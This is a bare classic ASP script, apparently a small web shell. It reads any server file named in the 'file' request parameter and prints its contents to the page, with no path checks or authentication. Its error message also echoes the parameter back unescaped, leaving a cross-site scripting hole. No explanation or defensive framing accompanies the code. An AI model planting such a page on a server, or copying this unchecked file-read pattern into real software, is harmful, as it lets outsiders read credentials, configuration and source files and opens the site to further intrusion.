-------------------------------------------------------------------------

<%
file=Request("file")
Set FSOOBJ=Server.CreateObject("Scripting.FileSystemObject")
if FSOOBJ.fileExists(file) then
Set myfile=FSOOBJ.opentextfile(file,1)
 Response.write "<pre>" & server.HTMLEncode(myfile.readall) &"</pre>"
 myfile.close
Set myfile=nothing
else
 Response.write "file(" & file & ") not exists."
end if
%>
-------------------------------------------------------------------------